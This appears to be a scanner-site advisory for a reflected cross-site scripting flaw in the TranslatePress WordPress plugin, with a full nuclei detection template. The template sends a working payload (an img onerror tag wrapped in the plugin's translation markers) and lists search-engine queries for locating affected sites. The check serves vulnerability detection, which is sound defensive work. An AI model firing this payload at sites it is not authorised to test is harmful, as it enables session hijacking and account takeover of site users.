WordPress TranslatePress < 3.2.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.9%likelihood of exploitation, next 30 days

59%of all CVEs are less likely

Readycheck to confirm it

TranslatePress plugin < 3.2.6 for WordPress contains a reflected cross-site scripting vulnerability in the translation marker processing feature, letting attackers inject and execute arbitrary JavaScript code, exploit requires no authentication or privileges.

Impact

Attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking and account takeover.

Fix

Update to version 3.2.6 or later of TranslatePress plugin.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "translatepress") || contains(body, "trp-language-switcher")
Send: GET /{{lang}}/?s=%23!trpst%23img%20src=x%20onerror=alert(document.domain)%23!trpen%23
Positive when: contains "<img src=\"x\" onerror=\"alert(document.domain)\">" and "search" AND status 200

Run it with nuclei: nuclei -id CVE-2026-17505 -u <target>

The full check

id: CVE-2026-17505

info:
  name: WordPress TranslatePress < 3.2.6 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    TranslatePress plugin < 3.2.6 for WordPress contains a reflected cross-site scripting vulnerability in the translation marker processing feature, letting attackers inject and execute arbitrary JavaScript code, exploit requires no authentication or privileges.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking and account takeover.
  remediation: |
    Update to version 3.2.6 or later of TranslatePress plugin.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17505
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-17505
    epss-score: 0.00854
    epss-percentile: 0.58632
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: cozmoslabs
    product: translatepress-multilingual
    framework: wordpress
    shodan-query: http.html:"translatepress"
    fofa-query: body="translatepress"
  tags: cve,cve2026,wordpress,wp-plugin,wp,translatepress,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "translatepress") || contains(body, "trp-language-switcher")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lang
        part: body
        group: 1
        internal: true
        regex:
          - 'rel="alternate"\s+hreflang="[a-zA-Z-]+"\s+href="https?://[^/"]+/([a-z]{2,3})/"'

  - raw:
      - |
        GET /{{lang}}/?s=%23!trpst%23img%20src=x%20onerror=alert(document.domain)%23!trpen%23 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src="x" onerror="alert(document.domain)">'
          - 'search'
        condition: and

      - type: status
        status:
          - 200

References

https://nvd.nist.gov/vuln/detail/CVE-2026-17505

Use this check only on systems you are authorised to test. Where the data comes from